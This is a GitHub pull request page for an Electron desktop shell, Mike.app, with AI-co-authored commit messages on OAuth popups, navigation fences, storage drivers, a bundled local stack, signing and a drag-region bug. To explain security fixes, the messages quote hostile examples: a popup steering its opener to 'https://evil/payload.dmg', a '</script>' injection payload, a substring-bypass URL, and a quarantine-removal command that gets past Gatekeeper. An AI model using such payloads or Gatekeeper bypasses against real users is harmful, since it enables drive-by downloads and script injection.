[Mac app] Self-contained local mode — the whole stack runs inside Mike.app (stacked on #302) - #351
[Mac app] Self-contained local mode — the whole stack runs inside Mike.app (stacked on #302)#351amal66 wants to merge 17 commits into
Conversation
|
|
| requireStorageConfig(); | ||
| if (FS_DRIVER) { | ||
| const target = fsPathFor(key); | ||
| await fs.mkdir(path.dirname(target), { recursive: true }); |
| if (FS_DRIVER) { | ||
| const target = fsPathFor(key); | ||
| await fs.mkdir(path.dirname(target), { recursive: true }); | ||
| await fs.writeFile(target, Buffer.from(content)); |
| if (!storageEnabled) return; | ||
| if (FS_DRIVER) { | ||
| try { | ||
| await fs.unlink(fsPathFor(key)); |
| return readFileSync(CAPTURE_FILE, "utf8") | ||
| .split("\n") | ||
| .includes(EXTERNAL_URL); |
Two additions from hands-on first-run testing (cca0596 → 5500e84)Testing the packaged app as a real downloader surfaced one blocker and one UX gap. 1.
|
WHY THIS MATTERS Legal teams live in desktop apps. A dock icon with real keyboard shortcuts, its own window, and OS-level presence is a different product posture than a browser tab — and it's the posture Word users already get from the merged add-in. This prototype gives the WHOLE web product a first-class macOS home without forking any of it. WHAT IS A DESKTOP SHELL (vs a native rewrite) Two ways to make a mac app of a web product: re-implement the UI natively (SwiftUI), or host the existing web app in a native shell. The shell wins for Mike because of the standing rule that every client must mirror the main web app's design and architecture: a rewrite drifts from day one, a shell CANNOT drift — the web app is the single source of truth and receives zero privileged APIs (it must behave identically in a browser). The shell contributes only what a tab can't: HOW IT WORKS - desktop/src/main.js — window with inset traffic-light title bar, window-state persistence, single-instance lock, and an origin fence: only the configured Mike server renders inside the app; every other URL (cited sources, OAuth consent, docs) opens in the default browser, so third-party pages never execute inside the shell. - Real menu bar: ⌘N new chat, ⌘P projects, ⌘L library, ⌘K workflows, ⌘, change server, standard Edit/View/Window roles. - Connection screen (src/pages/connect.html + preload bridge) instead of a Chromium error page when the server is unreachable — retry or repoint at any deployment; settings persist as plain JSON in ~/Library/Application Support/Mike/. - Packaging: `npm run dist` → dist/mac-arm64/Mike.app via electron-builder (unsigned prototype; signing/notarization needs an Apple Developer identity). Verified: connection screen loads when no server is running; with the frontend dev server up the shell renders the real login page (CDP screenshot); the packaged Mike.app launches standalone. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…eal stack WHY THIS MATTERS A prototype earns trust when it survives contact with the real system. This commit replaces the placeholder Electron icon with Mike's own mark and proves the packaged app end-to-end against the full local stack — not a dev server with placeholder env, but docker-compose Supabase, storage, backend and frontend, with a real signup and a real project. HOW THE ICON WORKS assets/icon.html is the source of truth: the product's 12-blade glass asterisk (mike-icon.tsx, DEFAULT_PALETTE inlined as static SVG) on a macOS Big-Sur-style plate. scripts/render-icon.js rasterizes it with Electron's own Chromium (offscreen, transparent) so the SVG filters render exactly as the product draws them; scripts/make-icns.sh derives every size with sips and packs icon.icns with iconutil — macOS-native tools only, `npm run icon` to regenerate. HOW THE E2E WORKS e2e/app.e2e.mjs launches the PACKAGED Mike.app binary (packaging regressions must fail the test too) with a remote-debugging port and drives it with Playwright over CDP — the shell's window is a Chromium page, so the product's own test idioms apply. It resets any persisted session (session persistence across launches is a shell feature, so the test must not inherit one), asserts the anonymous /login redirect, signs up a fresh user through the real form (local autoconfirm), waits for the authenticated sidebar — a URL change alone can lie when a signup 500s — creates a project through the current wizard (Create → name → Next → "Create project", scoped to the wizard overlay so the toolbar's identical "Create" behind the backdrop can't be matched), and screenshots every stage into e2e/artifacts/. Verified: E2E PASSED against the compose stack — signup, auto-login, project visible in the grid, all inside Mike.app with the asterisk dock icon. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…up, and download flows
WHY THIS MATTERS
The desktop app is a thin Electron shell around the Mike web app: the web app
IS the product, and the shell only gives it a native home (menu bar, window
state, a connect screen). For that to be trustworthy, every flow that works in
a browser must work identically inside the shell. An audit against the current
web app found several flows that broke — most seriously, connecting an MCP
connector (Google Drive, Slack, …) was impossible from the desktop app, and a
few of the shell's guards were either too loose (a security hole) or too tight
(a real feature blocked).
WHAT IS A "SHELL", AND WHY THESE FLOWS ARE HARD
A browser gives every page the same powers: it can open popups that talk back
to their opener, download files, and follow links to other sites. An Electron
BrowserWindow gives you those powers too, but you have to opt into them
deliberately — and the moment you host a real product plus arbitrary
third-party pages (OAuth consent screens, cited sources) in the same shell,
"who is allowed to do what, where" becomes a security boundary you have to draw
by hand. This change draws it.
WHAT BROKE AND HOW EACH IS FIXED
1. MCP connector OAuth (was completely dead in the shell).
The web app opens a popup with window.open("about:blank", …) *first* (to keep
a synchronous handle that survives popup blockers), then steers it to the
provider's consent page, and learns the result only via
window.opener.postMessage from an API-origin callback page. The old shell saw
"about:blank", treated it as a foreign URL, and pushed it to the system
browser — where window.opener is null, so the result could never come back.
Fix: window.open of about:blank / app-origin URLs now becomes a real, fenced
child window (windowOpenPolicy + fenceChildWindow). Cross-origin hops stay
INSIDE that popup so window.opener survives the whole consent → callback
chain.
2. Popups had the shell's privileged preload attached.
The shell exposes a tiny bridge (window.mikeDesktop) to its OWN connect page
so it can change the server URL. If a third-party consent page inherited that
bridge, it could repoint the shell at a hostile server. Fix:
POPUP_WINDOW_OPTIONS sets preload:undefined on every child window, so popups
get window.opener (Chromium plumbing) but NOT the bridge (an injected
script). Verified live: popups have a working opener and no window.mikeDesktop.
3. Opener-tabnabbing → silent drive-by download (a hole the popup design opens).
Because popups now keep a live window.opener, the HTML spec lets a
cross-origin popup navigate its opener: a hostile consent page could run
`window.opener.location = "https://evil/payload.dmg"`. The shell would probe
that URL, see a binary, and download it with no prompt. Fix: the main
window's navigation handler only takes the download/browser path when the
navigation was initiated by the main window's OWN frame (event.initiator ===
win.webContents.mainFrame). A navigation driven by a popper, a subframe, or an
unknown initiator is dropped.
4. will-redirect was unguarded.
will-navigate does not fire for HTTP 30x redirects, so an app-origin URL that
redirects off-origin would render a foreign page in the main window — the one
window that carries the preload bridge. Fix: will-redirect shares the same
policy handler as will-navigate.
5. A dropped OS file could replace the whole app.
The old guard exempted ALL file: URLs (needed for the bundled connect page),
so a file dropped outside the chat's dropzone navigated the window to that
local file. Fix: only file: URLs under the shell's own pages directory
(SHELL_PAGES_URL_PREFIX) are allowed; every other file: navigation is
prevented.
6. A failing iframe kicked the session to the connect screen.
did-fail-load fired for any subframe/subresource failure (ad-blocked embeds,
dead iframes) and showed the "can't reach server" page over a healthy session.
Fix: honor the isMainFrame argument — only a main-frame failure means the
server is actually gone.
7. Document downloads bounced to the browser instead of downloading.
The web app downloads files by pointing an <a download> at a presigned
storage URL on a third origin; the browser's download attribute is ignored
cross-origin, so it reaches the shell as a plain navigation. will-navigate
fires before any response headers exist, so we can't know synchronously
whether it's a page or a file. Fix: resolveForeignNavigation probes the URL
for one byte (GET with Range) and, on an attachment/binary content-type,
calls webContents.downloadURL; a will-download handler then saves it to
~/Downloads with Finder-style collision naming and no save dialog. HTML
responses (real external links) still go to the browser.
8. Missing native affordances that make a web-in-a-window app feel broken.
Added a right-click context menu (spellcheck suggestions, cut/copy/paste,
copy/open-link), completed the menu bar to mirror the sidebar's real nav
(Assistant/Projects/Library/Tabular Review/Workflows on Cmd+1..5, History on
Cmd+6, Settings on Cmd+, per mac convention), and raised the minimum window
size to 800×600 so the window can't slip below the frontend's 768px mobile
breakpoint.
HOW THE SECURITY BOUNDARY HOLDS
Two hardening details worth calling out: the IPC handlers that change the server
URL now verify the sender is one of the shell's own bundled pages, so an XSS in
the hosted product can't reach them; and a MIKE_USER_DATA_DIR seam lets tests
run against an isolated profile without fighting a developer's real Mike.app for
the single-instance lock or touching their saved window bounds.
All of the above is exercised by the e2e suites added in the following commit.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
… stack
WHY THIS MATTERS
The shell's job is to be invisible: the web app must behave identically inside
it and in a browser. "Identically" is exactly the kind of claim that rots
silently — a frontend redesign or an Electron upgrade can re-break a flow with
no compile error. These suites turn each fixed flow into an assertion that runs
the REAL packaged Mike.app (not `electron .`) against a REAL local stack, so a
regression fails a test instead of shipping.
WHAT IS DRIVEN, AND HOW
Both suites launch dist/mac-arm64/Mike.app with a remote-debugging port and
attach Playwright over CDP — the shell's window IS a Chromium page, so the same
binary a user double-clicks is what gets tested (packaging regressions like
asar paths fail too). Native menu items can't be driven over CDP, so menu
coverage stays manual.
WHAT flows.e2e.mjs PROVES (one step per fix in the previous commit)
- OAuth popup mechanics: window.open("about:blank") yields a real in-shell
popup; it survives a cross-origin hop to the actual API callback route; its
window.opener is alive; the callback's own mcp_oauth_result postMessage
reaches the opener from the API origin; and the popup has NO window.mikeDesktop
bridge.
- Opener-tabnabbing guard: a popup steering `window.opener.location` at a
foreign binary URL is DROPPED — not downloaded, not bounced to the browser —
proving the initiator check.
- External links still hand off to the system browser (captured to a file so no
real tabs open) and never spawn an in-shell window.
- A failing iframe does NOT trigger the connect screen.
- Blob export and presigned-URL document download both stay in-shell and are
saved by the will-download handler.
TWO TEST SEAMS, AND WHY THEY'RE NEEDED (not test-only cheating)
1. MIKE_E2E_CAPTURE_EXTERNAL / MIKE_E2E_DOWNLOAD_LOG: an attached CDP client
installs its own browser-level download behavior, diverting bytes away from
the shell's setSavePath — so the suite can't watch the download directory.
Instead the shell appends a JSONL line when its will-download handler runs,
and the test asserts on that. This proves the handler fired and chose the
in-shell path; it does not change production behavior (the env vars are unset
in a real run).
2. MIKE_USER_DATA_DIR: without an isolated profile, a test run would fight a
developer's own running Mike.app for the single-instance lock (and lose,
quitting instantly) and would read/write their real saved window bounds.
HONEST SCOPE
The file: navigation step asserts a renderer-initiated remote→local navigation
never lands — but Chromium refuses that on its own, so it's a regression guard,
not a test of the will-navigate file: fence. The fence's real target (a
browser-initiated navigation from an OS file drop) can't be dispatched reliably
over CDP and is covered by code review and manual testing. The step is named and
commented to say exactly that, rather than overclaiming.
Also refreshed app.e2e.mjs for the current frontend: the projects create control
is now an icon button labelled "New project" (was "Create"), and the title
sanity check waits for the title instead of reading it once (it's briefly empty
during client-side transitions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
WHY THIS MATTERS Connecting an MCP connector (Google Drive, Slack, an MCP server) relies on a popup that reports its result back to the app with window.opener.postMessage. That hand-off silently breaks in EVERY browser (not just the desktop shell) under the security headers this backend sets — the desktop work is simply what surfaced it. Without this fix, the popup completes the OAuth dance and then the app never hears about it. WHAT IS COOP, AND WHY IT BREAKS window.opener Cross-Origin-Opener-Policy controls whether a window keeps a usable reference to the window that opened it. Helmet (our security-header middleware) defaults COOP to "same-origin": the moment a document with that policy ends up in a browsing context whose opener is cross-origin, the browser SEVERS window.opener to prevent cross-origin tampering. Our OAuth popup is opened at about:blank by the frontend, navigated to a third-party consent page (cross-origin), and finally lands on this backend's callback page. By the time the callback page runs, its opener chain is cross-origin — so helmet's same-origin COOP nulls window.opener, and `window.opener.postMessage(result, …)` posts to nothing. HOW THE FIX WORKS The callback route now sends Cross-Origin-Opener-Policy: unsafe-none on both its success and failure responses (via a shared mcpOAuthPopupHeaders(nonce) helper that also carries the existing strict, nonce-based CSP). "unsafe-none" opts this single document out of the isolation so it retains window.opener long enough to post its result. This is safe because the sensitive parts of the flow don't lean on COOP at all: the postMessage targetOrigin is pinned to the frontend origin, the OAuth state is encrypted, expiry-checked, and single-use, and the start endpoint sits behind auth + MFA — an attacker can neither forge a victim's state nor read anything through the retained handle (the same-origin policy still applies). The relaxation is scoped to this one route; every other response keeps helmet's same-origin default (asserted by a new test). DEFENSE IN DEPTH: ESCAPING THE ERROR DETAIL The callback page embeds a JSON message in an inline <script>. On the failure path that message includes `detail`, which is derived from the attacker-supplied ?error= query parameter. JSON.stringify does NOT escape "<", so a payload like "</script><script>…" would close the script element and inject markup. The per-response CSP nonce already blocks execution, but now that the page keeps a live window.opener, that CSP is more load-bearing — so we also escape "<" to its < form, keeping the value inside the JS string literal. Belt and suspenders. Tests through the full app.ts assembly (so helmet re-clobbering the header would fail the test) assert the two headers on the callback response, that /user/profile still gets same-origin, and that the </script> payload is neutralized. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…e endpoint
WHY THIS MATTERS
Downloading a document (and DOCX redlines, workflow reference files, ZIP
exports) hands the user's browser a presigned URL to object storage. If that URL
is signed for a hostname the browser can't resolve, every download 404s or times
out. On the self-hosted docker-compose stack that is exactly what happened: the
backend talks to storage at http://storage:9000 — a hostname that only exists on
the internal compose network — so the presigned URL it minted was dead the
moment it reached a browser on the host.
WHAT IS A PRESIGNED URL, AND WHY THE HOST CAN'T BE REWRITTEN
A presigned URL is a storage object URL plus a time-limited AWS SigV4 signature,
so the browser can fetch the object directly without credentials. The signature
is computed over the request — including the Host header the client will send.
That means you cannot mint the URL for the internal host and then string-replace
the hostname afterward: the signature would no longer match and storage would
reject it with SignatureDoesNotMatch. The endpoint has to be correct at signing
time.
HOW THE FIX WORKS
Storage now keeps two S3 clients. Uploads, deletes, and listing continue to use
the internal endpoint (R2_ENDPOINT_URL) — those calls are made by the backend
itself, over the compose network. Presigning uses a second client bound to
R2_PUBLIC_ENDPOINT_URL, the host-published address the browser can actually
reach, so the signature is valid for the request the browser will make. When
R2_PUBLIC_ENDPOINT_URL is unset the presign client falls back to the internal
one, so cloud deployments (Cloudflare R2, real S3), whose endpoints are already
public, are byte-for-byte unchanged. The endpoint is read once at module load
(like the internal client's config) so the cached client can't disagree with a
re-read env var.
The compose file wires R2_PUBLIC_ENDPOINT_URL to the host-published storage port
by default. Two operational caveats are documented inline and in
backend/.env.example, because both are silent-failure traps:
* A REMOTE deploy (not same-machine) must set this to a public HTTPS URL that
reverse-proxies to storage — the loopback default only serves a browser on
the docker host.
* The value must live in the compose-root .env or the shell, NOT backend/.env:
compose interpolates the default from those sources only, and an
env_file value would be silently overridden by the interpolated default.
Tests (storagePresign.test.ts) assert the presigned URL's host is the public
endpoint when set, and falls back to the internal host when unset.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…-to-end WHY THIS MATTERS "Can anyone run this once it's merged?" hinges entirely on macOS Gatekeeper, and the honest answer has two halves that were never written down: a locally-built app runs fine with no signing, while a downloaded one is blocked unless it's signed with a Developer ID and notarized by Apple. This commit makes both halves explicit and pre-wires the signed build so releasing is a three-env-var command, not a research project. WHAT IS GATEKEEPER, AND WHY "BUILT LOCALLY" DIFFERS FROM "DOWNLOADED" macOS only enforces Gatekeeper on files carrying the com.apple.quarantine extended attribute, which is stamped on anything downloaded (browser, AirDrop). A file you built yourself has no quarantine bit, so `npm run dist` → open the .app just works — that's the path to test this PR today, with no Apple account. A downloaded, unsigned app instead shows "damaged / can't be opened"; on macOS 15 Sequoia the old Control-click → Open bypass is gone, leaving System Settings → Privacy & Security → "Open Anyway" or `xattr -dr com.apple.quarantine`. WHAT IS SIGNING vs NOTARIZATION Signing stamps the app with the org's Developer ID certificate so macOS can verify it hasn't been tampered with. Notarization uploads the signed app to Apple, which scans it and issues a ticket that gets "stapled" to the app; a notarized app opens with a normal double-click. Notarization REQUIRES signing first — they're a package deal, and both need the org's Apple Developer account. The certificate is org-held and never needs to be on a contributor's machine. HOW THIS IS WIRED - electron-builder.release.json: a release config (dmg + zip targets, Hardened Runtime, entitlements) with no `identity: null`, so electron-builder auto-discovers the Developer ID cert from the keychain, and `notarize: true` so it submits to Apple's notary service. The default electron-builder.json is unchanged — `npm run dist` stays a guaranteed-unsigned local build. - assets/entitlements.mac.plist: the standard Electron Hardened Runtime entitlements (allow-jit / allow-unsigned-executable-memory / disable-library-validation) — Chromium's JIT crashes under the Hardened Runtime without them, and notarization requires the Hardened Runtime. No data-access entitlements: the shell touches no camera/mic/contacts. - package.json: `dist:signed` runs the release config; the author sets APPLE_ID + APPLE_APP_SPECIFIC_PASSWORD + APPLE_TEAM_ID (or a CI App Store Connect API key) and runs it. Also adds `e2e:flows` for the flow suite. - README: a "test locally (no Apple account)" section for reviewers, a step-by-step Developer ID + notarization walkthrough for the org account holder, verification commands (codesign / stapler / spctl), a CI sketch that keeps the cert as encrypted secrets, and the unsigned fallback. The signed path is pre-wired and documented but can only be exercised with the org's certificate, so it is intentionally NOT claimed as CI-verified — the unsigned local build and the e2e suites are what this branch proves green. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…string
WHY THIS MATTERS
CodeQL flagged the external-link e2e assertion under "Incomplete URL substring
sanitization." The rule exists because using a URL as a SUBSTRING to make a
trust decision is a classic bypass — `url.includes("example.com")` is satisfied
by `https://evil.com/?x=example.com`. Here there is no trust decision (it's a
test asserting our own shell wrote a URL it was told to open, with a
constant we control), so the alert is a false positive — but the fix is also a
strictly better assertion, so it's worth taking rather than suppressing.
HOW IT WORKS
The capture file is one URL per line (openExternalOrCapture appends `url + "\n"`).
Splitting on newlines and checking whole-line membership asserts exactly the
line we expect, removes the substring pattern the analyzer keys on, and can't be
satisfied by an unrelated longer URL that merely contains our marker.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…is usable immediately WHY THIS MATTERS The entire point of shipping a downloadable desktop app is "open it and it works". Until now the shell defaulted to http://localhost:3000, so a user who downloaded Mike.app with nothing else installed was greeted by the "Connect to Mike" screen and had to stand up a docker-compose stack — the opposite of a one-click install. The connect screen was designed as an OFFLINE fallback, but the localhost default made it the FIRST-RUN experience for everyone except developers. WHAT IS A "HOSTED DEFAULT" A thin-shell desktop app (this one, Slack, Discord, VS Code's web builds) has to decide what URL it renders when the user has configured nothing. Pointing at the vendor-hosted deployment (here https://app.mikeoss.com — the same hosted service SECURITY.md documents and the Word add-in already defaults to) means the zero-config path is the working path. Self-hosting becomes the OPT-IN path instead of the barrier to entry. HOW IT WORKS - DEFAULT_SERVER_URL in desktop/src/main.js becomes https://app.mikeoss.com. Nothing else changes: the existing precedence (--server-url= CLI flag → MIKE_SERVER_URL env → saved settings.json → default) already lets developers, e2e, and self-hosters retarget the app, and the connect screen (⌘⇧,) still edits the saved value. - The connect screen copy now describes its real role — "check your internet connection, or point the app at a self-hosted deployment" — since with a live hosted default it appears only when the configured server is genuinely unreachable. - README: dev instructions now pass --server-url=http://localhost:3000 explicitly, because "npm start" alone now loads the hosted service. The origin fence is unchanged and simply follows serverUrl(): with the hosted default, only app.mikeoss.com may render in the bridged main window; every other origin still goes to the default browser. VERIFIED - Packaged Mike.app, fresh user-data dir, no overrides → loads https://app.mikeoss.com/login in-shell (CDP-verified + screenshot). - Packaged app with --server-url=http://localhost:59999 (unreachable) → connect screen with the new copy and the URL prefilled. - Both e2e suites re-run green against the local compose stack (flows.e2e.mjs 12/12, app.e2e.mjs) — they always pass --server-url=, so the default change cannot silently point tests at production. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…in the app) WHY THIS MATTERS The hosted default makes a downloaded Mike.app usable immediately, but it makes the app a client of the cloud. Some users (law firms with data- residency rules, air-gapped environments, privacy-first individuals) want the opposite: everything on their own machine, with the same one-click download. Today that means running a docker-compose stack — a non-starter for non-developers. This document is the researched plan for folding that whole stack INSIDE the app. WHAT IS A "SELF-CONTAINED" DESKTOP APP Instead of the Electron shell loading a remote URL, the app bundles and supervises its own local services — database, auth, API, storage — all on loopback, and points the window at http://localhost. The user never knows a server exists. The key design constraint carried over from the shell: the web app and backend run byte-identical to the compose stack (shell- over-rewrite); only the process manager changes from docker-compose to a supervisor inside the app. WHAT THE RESEARCH FOUND (the plan is cheaper than it looks) - Postgres needs only pgcrypto + pg_trgm — no pgvector on main. - The frontend touches Supabase ONLY for auth; all data flows through the backend, whose sole DB path is PostgREST (436 call sites). So bundling the real GoTrue + PostgREST + Postgres binaries (all permissively licensed, all arm64-mac-buildable) preserves every API contract with zero rewrites. - No Redis/queues on main; document conversion degrades gracefully without LibreOffice; storage already has an adapter seam in flight (upstream PR #47 lineage) that a local-filesystem driver can plug into. - LLM access already supports per-user keys and local Ollama; the keyless demo mode (PR open-legal-products#260) covers the first-run answer. HOW THE PLAN IS STRUCTURED Five phases, each independently shippable: (0) upstream seams as normal web-app PRs — storage adapter + fs driver, migration runner, Next standalone flag; (1) a local-stack supervisor in the shell with a "Run locally on this Mac" mode on the connect screen; (2) packaging + signing of the bundled binaries; (3) upgrade/backup lifecycle; (4) first-run polish. Roughly 6-9 engineering weeks. Open product decisions (auth UX, password recovery without SMTP, LibreOffice, Intel support) are listed explicitly rather than silently decided. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…ned URLs
WHY THIS MATTERS
Every deployment of Mike so far has needed an S3-compatible object store
(cloud R2, or the RustFS container in docker-compose). The self-contained
desktop app has no daemon to run storage in — and a laptop doesn't need
one: the disk IS the object store. This driver lets any single-node
deployment keep documents as plain files (STORAGE_DRIVER=fs +
STORAGE_FS_ROOT) with zero changes anywhere else in the backend.
WHAT IS A STORAGE DRIVER
lib/storage.ts is the backend's only storage seam: upload, download, list,
delete, signed URL. All 30+ call sites use these functions and never touch
the S3 client directly, so swapping the implementation behind the same
public API — an env-selected driver — converts the whole product at once.
The S3 path is byte-for-byte untouched; fs mode dispatches at the top of
each function.
THE HARD PART: PRESIGNED URLS WITHOUT S3
Two routes hand the browser a *presigned URL*: a link that works with no
session attached (an <a> click sends no Authorization header) because the
URL itself is a signed, expiring capability for one object. A filesystem
has no presigner, so fs mode mints the same thing out of what the backend
already has: an HMAC "blob token" over {path, filename, expiry}, served by
a new UNAUTHENTICATED route GET /download/signed/:token that verifies and
streams the file. The trust model is identical to S3 presigning — the
token is minted by an authenticated route AFTER its own access check,
scoped to one object, and expires.
SECURITY DETAILS
- The blob-token HMAC is domain-separated ("blob:" prefix) from the
permanent /download/:token HMAC, so neither token kind can be replayed
as the other (covered by a test).
- Filesystem keys are resolve-checked against STORAGE_FS_ROOT, so a
corrupted key can never escape the storage root (tested).
- listFiles reproduces S3 string-prefix semantics (a prefix is not a
directory), so callers relying on partial-segment prefixes behave
identically on both drivers (tested).
BACKEND_PUBLIC_URL tells the driver what base URL the browser can reach
the backend at (defaults to localhost:PORT, correct for single-machine
use; the desktop supervisor sets it explicitly).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
WHY THIS MATTERS The frontend has only ever shipped inside its Docker image. The desktop app needs to run the same frontend as a plain child process on a user's Mac — no repo checkout, no full node_modules, no Docker. WHAT "STANDALONE" OUTPUT IS `output: "standalone"` makes `next build` emit .next/standalone/: a self-contained server.js plus a file-traced minimal node_modules — only the modules the server actually imports. Copy that directory (plus .next/static and public/, which Next documents as a manual step) anywhere and `node server.js` serves the app. The desktop supervisor runs exactly that under Electron's own Node (ELECTRON_RUN_AS_NODE), so no separate runtime ships either. WHY OPT-IN VIA ENV Unconditional standalone output changes the build artifact layout the Docker image and dev workflow rely on. Behind NEXT_OUTPUT_STANDALONE=1, `npm run build` and the Dockerfile are byte-identical to before; only the desktop build script (desktop/scripts/build-local-stack.sh) turns it on. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…e Mike.app WHY THIS MATTERS Until now the desktop shell always needed a server: the hosted service or a docker-compose stack. This adds the third mode from docs/self-contained-plan.md — "Run locally on this Mac": the app itself supervises Postgres, GoTrue, PostgREST, a gateway, the backend, and the frontend as loopback-only child processes. No Docker, no server, no account anywhere; a lawyer's documents never leave the machine. WHAT A SUPERVISOR IS src/local/supervisor.js is docker-compose.yml reimplemented as a process tree. Same services, same boot order, same health-check chain (depends_on → waitFor), same env wiring — where a step here looks odd, the compose file is the reference. The web app and backend run byte-identical to the compose stack; only the process manager changed. This preserves the shell-over-rewrite principle: nothing forks. HOW FIRST RUN WORKS initdb into userData/local/pgdata → the Supabase role ladder (anon / authenticated / service_role — with BYPASSRLS, because schema.sql enables RLS with no policies and the backend's role must bypass it, exactly as the supabase/postgres image sets it) → GoTrue applies its own auth migrations (search_path=auth: since PG15 public grants no CREATE, and the supabase image sets the same) → schema.sql plus a migration LEDGER (mike_schema_migrations): fresh installs record every shipped migration as contained-in-schema (the repo's CI-enforced convergence contract); upgrades apply only unseen ones — the upgrade story compose never had. SECRETS: NOTHING SHIPS IN THE BUILD Compose uses the well-known Supabase demo JWT secret — fine on a dev laptop, unacceptable baked into a downloadable app (anyone could mint service_role tokens for every install). Here every install mints its own secret set on first run. The frontend bundle bakes only the well-known demo ANON key as a placeholder; the gateway proxy (src/local/gateway.js, a Node port of supabase/gateway.conf) swaps it for the per-install anon JWT in flight. Anon-for-anon only — nothing through the gateway can escalate, and the local services never trust the demo secret. NOTABLE MECHANICS - All SQL runs over the pure-JS `pg` client: the bundled zonky Postgres ships no psql. Multi-statement files run on the simple protocol in one implicit transaction (verified transaction-safe; all-or-nothing per migration file is what a ledgered runner wants). - GoTrue is BUILT FROM SOURCE by scripts/fetch-local-stack.sh: the upstream release asset named darwin-arm64 actually contains Linux ELF binaries (verified). Postgres comes from the zonky npm build (with a symlink-hydration step — npm tarballs cannot carry symlinks), PostgREST from its official macOS build; all pinned to compose's versions. - Fixed ports 42810–42815 because Next bakes its API origins at build time; a conflict fails loudly rather than auto-shifting into URLs the bundle doesn't point at. - Ordered shutdown on quit (postgres SIGINT fast-shutdown last), stale postmaster.pid recovery, per-service logs in userData/local/logs, and fail-fast when a child dies during boot — the error page names it. - --server-url= still beats local mode, so automation can always retarget. VERIFIED - e2e/local.e2e.mjs wipes userData and drives the true first-run each time: cold initdb → six services → offline signup → project → library upload (bytes appear under userData/local/storage) → row-menu download via an expiring blob-token URL. PASSED. - Remote modes unaffected: flows.e2e.mjs 12/12 and app.e2e.mjs PASSED against the compose stack with this exact shell build. KNOWN V1 LIMITS (deliberate, documented in README + connect screen): email password recovery needs SMTP (unavailable locally); LLM calls need a per-user key or local Ollama; docx→pdf renditions need LibreOffice (auto-detected; graceful docx-preview fallback without it). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…rver
WHY THIS MATTERS
Local mode existed but lived behind the connect screen's keyboard shortcut
(⌘⇧,) — a user who WANTED local-first had to already know the app could do
it. "Where should Mike run" is the one decision every new user actually
has, so the app now asks it on first launch instead of silently assuming
the cloud.
HOW THE GATE WORKS
The chooser appears only when ALL of these hold: no --server-url=/
MIKE_SERVER_URL override, no --local flag, no previously saved choice, and
the build actually carries the local stack. That means:
- automation and e2e (which always pass an override or --local) never see
it — verified by re-running every suite;
- returning users never see it — choosing either card persists mode
("remote"/"local") in settings.json, and any saved choice retires the
chooser forever;
- plain shell builds without local-stack resources skip straight to the
hosted default — with only one viable answer there is nothing to ask.
The page itself is a third bundled shell page (welcome.html) using the
same fenced IPC pattern as the connect screen: choose-cloud and
open-connect are new handlers gated on fromShellPage, and the product web
app can never invoke them.
VERIFIED (packaged app, pristine userData each time)
- first launch → welcome chooser renders
- "Run everything on this Mac" → supervisor boots → local frontend loads
- "Use Mike Cloud" → hosted app loads; relaunch goes straight to hosted
(chooser gone)
- flows.e2e.mjs 12/12, app.e2e.mjs, and e2e/local.e2e.mjs all PASS against
the same packaged build, proving the gate never leaks into automation.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…iring WHY THIS MATTERS Dev-mode local runs prove the supervisor; users get a PACKAGED app. This commit closes that gap on two fronts: the unsigned package is now built and e2e-verified end to end, and the signed release path is wired so the org account holder can produce a notarized DMG with one command once the Apple Developer certificate exists. PACKAGED BUILD, PROVEN dist:local stages 548MB of resources (postgres, gotrue, postgrest, the compiled backend with production deps, the Next standalone frontend) into Contents/Resources/local-stack, and e2e/local.e2e.mjs — run WITHOUT MIKE_E2E_DEV, i.e. against the double-clickable Mike.app — passes the full cold first-run: initdb → six services → offline signup → project → upload → blob-token download. Packaging preserved the pg dylib symlinks; a boot- time hydrator (pg-symlinks.json) now also restores them if a future copy step drops them — with the caveat, documented in the README, that a SIGNED bundle is sealed, so links must be intact at packaging time there. WHY THE SIGNING CONFIG IS GENERATED Notarization requires every nested Mach-O to carry its own hardened- runtime signature, and electron-builder signs only what mac.binaries lists. Scanning local-stack/ found ONE HUNDRED FIFTEEN of them — postgres and its dylibs, gotrue, postgrest, and natives nobody would hand-list (skia inside the backend's @napi-rs/canvas dep; sharp + libvips inside the frontend standalone's traced node_modules). That set changes whenever any pin changes, so scripts/make-signed-local-config.mjs scans for Mach-O magic bytes at build time and emits electron-builder.release.local.json (gitignored — it is derived output). Symlinks are excluded: codesign resolves them, and signing a path twice fails the build. npm run dist:local:signed # = generate config, then electron-builder with hardened runtime + # notarization (same APPLE_* env contract as dist:signed) The full operator runbook — prereqs, the command, codesign/stapler/spctl verification including spot-checking a nested binary, and the two constraints that actually bite (sealed-bundle symlinks, no speculative entitlement exceptions) — is in README "Signing the self-contained build". Like the shell's signed path, it can only be EXERCISED with the org's certificate, so it is wired and documented but not claimed as verified. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…ct is clickable WHY THIS MATTERS On a packaged first run, choosing "Run everything on this Mac" booted the stack correctly — and then produced a login page where NO click landed. Not a frozen app: the page rendered, the spinner had animated, React was hydrated. Every mouse click simply vanished. A user's first minute with the self-contained app was a dead UI. WHAT IS A DRAG REGION (AND HOW IT EATS CLICKS) Frameless-ish Electron windows (titleBarStyle: hiddenInset) have no OS titlebar to grab, so pages opt areas into "you can drag the window here" with the CSS property `-webkit-app-region: drag`. Crucially, a drag region is handled by the NATIVE window layer: mouse events inside it are consumed to implement window-dragging and are never delivered to the web page (electron/electron#1354). That's why every drag surface needs `no-drag` islands over its interactive parts — welcome.html and connect.html do exactly that. THE ACTUAL BUG: REGIONS OUTLIVE THE PAGE THAT DECLARED THEM Chromium pushes a window's drag regions from the renderer whenever a document's app-region styling says so — but only replaces them when the NEXT document reports regions of its own. The Mike web app declares no app-region anywhere, so after navigating shell page → product, the shell page's regions silently stay in force. local-boot.html (the "Starting Mike on this Mac" spinner) marked its ENTIRE body as a drag region with no no-drag island — harmless while it's visible (nothing to click), but after the supervisor finishes and the window navigates to the local 